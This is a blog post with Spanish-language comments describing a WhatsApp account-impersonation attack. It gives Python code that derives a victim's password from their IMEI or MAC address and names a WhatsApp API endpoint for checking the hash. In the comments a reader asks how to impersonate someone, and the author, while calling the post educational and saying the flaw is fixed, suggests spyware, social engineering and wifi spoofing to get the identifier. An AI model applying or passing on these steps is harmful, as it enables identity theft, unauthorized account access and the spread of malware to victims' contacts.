Posted by & filed under Uncategorized.

As I showed in the previous post  it is possible to use WhatsApp service from Linux through a little client in Python. In that post I showed how to register a phone number to obtain a password then logging in and using WhatsApp. The interesting part is if whether is possible or not getting someone’s password and use his “user”. Well the answer is YES and its easier than what I thought it would be. The method I will describe was tested in Android and iPhone. Blackberry and Symbian weren’t successful.

Password

First we must get the password for a user already registered and currently using WhatsApp, as it uses an MD5 hash of the IMEI/MAC (depending the OS) to generate the password; by only having any of them and the phone number we may use the user’s identity.

Android

For this OS WhatsApp uses a MD5 hash from de reversed IMEI. This in Python is done easily:

 import hashlib
 imei = #Aca va el imei
 revimei = imei[::-1] #We reverse the string
 print str(hashlib.md5(revimei).hexdigest())

To corroborate the wash we have an api which will return whether is correct or not the given information.

https://r.whatsapp.net/v1/exist.php?cc=country&in=number&udid=hash
country= The two digit country code
number= The cellphone number without the country code. In the case of Argentina (Buenos Aires) 11xxxxyyy
hash= The hash we previously got

Once we validated the hash is moment to use it in the password field in the configuration file (remember?). Becaus of the implementation of yowsup it is necessary to encode the hash. So again in Python :

import base64
hash= #The verified hash
print base64.b64encode(hash)

iPhone

The iPhone case is very similar to Android’s with the difference instead of using the IMEI it uses de MAC (typed twice):

import hashlib
mac = #Here goes the MAC
print str(hashlib.md5(mac+mac).hexdigest())
# Note if mac ="AA:BB:CC" mac+mac ="AA:BB:CCAA:BB:CC"
# this is ok, ':' should not be erased

Don’t forget to encode the hash, and completing the password field in the configuration file.

Conclusion

The data needed to preform this “phising” aren’t public, but they are no challenge for a private network spoof, or any malicious app which saves the required information. And there is also the “lend me 2 seconds your phone” method and getting this data with no trouble.

Once we make ourselves pass as any other, It is simple to distribute malware or fulfil any other malicious ideas.

8 Responses to “WhatsApp Identity Theft”

  1. GERMAN

    HOLA. ESTOY INTERESADO EN SUPLANTAR EL WHATSAPP DE OTRA PERSONA PERO NO TENGO SU IMEI. COMO PODRIA OBTENER SU IMEI, HABLO DE OBTENER PORQUE NO TENGO EL TELEFONO FÍSICO, SOLO SU NÚMERO.

    Reply
    • aleperno

      1) Si te fijas en este post ya habría sido arreglada tanto para Android como iPhone.
      2) No está de más aclarar que la intención del post es que si se aplica, sea dentro de un entorno de laboratorio(testing) y a sólo efectos de demostrar la vulnerabilidad. Es sólo con fines didácticos/educativos. Por lo que quizá hubiese sido mejor que reformules tu pregunta, ya que el objetivo NO es que suplantes la identidad de nadie.
      3) Ahora…hipotéticamente si uno quiere tener acceso al IMEI de la víctima es una cuestión de creatividad. Ingeniería social, alguna app con “spyware” que acceda al IMEI y lo guarde. Algun spoofing por wifi quizá para obtener directamente la password del login…

      Reply
  2. Jose

    Hola, utilizando lo que nos has puesto:

    import hashlib
    imei = #Aca va el imei
    revimei = imei[::-1] #Con esto invertimos el string
    print str(hashlib.md5(revimei).hexdigest())

    yo esto lo copio en editor de texto, pongo el imei de mi movil y lo guardo con extension.py y de nombre hash

    Ahora la ejecuto de la siguiente manera y me sale esto donde me equivoco

    ….yowsup/src$ python hash.py
    Traceback (most recent call last):
    File “hash.py”, line 3, in
    revimei = imei[::-1] #Con esto invertimos el string
    TypeError: ‘int’ object has no attribute ‘__getitem__’

    He demostrado que no tengo idea de programar pero si me ayuda quiero aprender.

    Reply
    • aleperno

      Es un error de tipo, en imei seguramente estés ingresando el número como int. Digamos IMEI = 223.

      Envolvelo en comillas (IMEI=”223″) para que lo tome como string.

      Saludos

      Reply
      • jose

        amigo si era eso jejeje ahora que doy con el hash parece que los de whats app han cambiado la manera de autentificarse no¿

        Reply
        • aleperno

          Así es, como puse en mi post más reciente han arreglado esta vulnerabilidad; por lo que si el equipo (de cuyas credenciales estas intentando usar) actualizó la versión de WhatsApp, genera otra password dejando inválidas las antiguas credenciales.

          Reply
    • aleperno

      No volví a probarlo, pero creo que ya no es posible dado que hubo cambios y cambió el método de creación de la password. De todos modos de volver a intentarlo actualizaré las entradas correspondientes.

      saludos

      Reply

Leave a Reply

Your email address will not be published. Required fields are marked *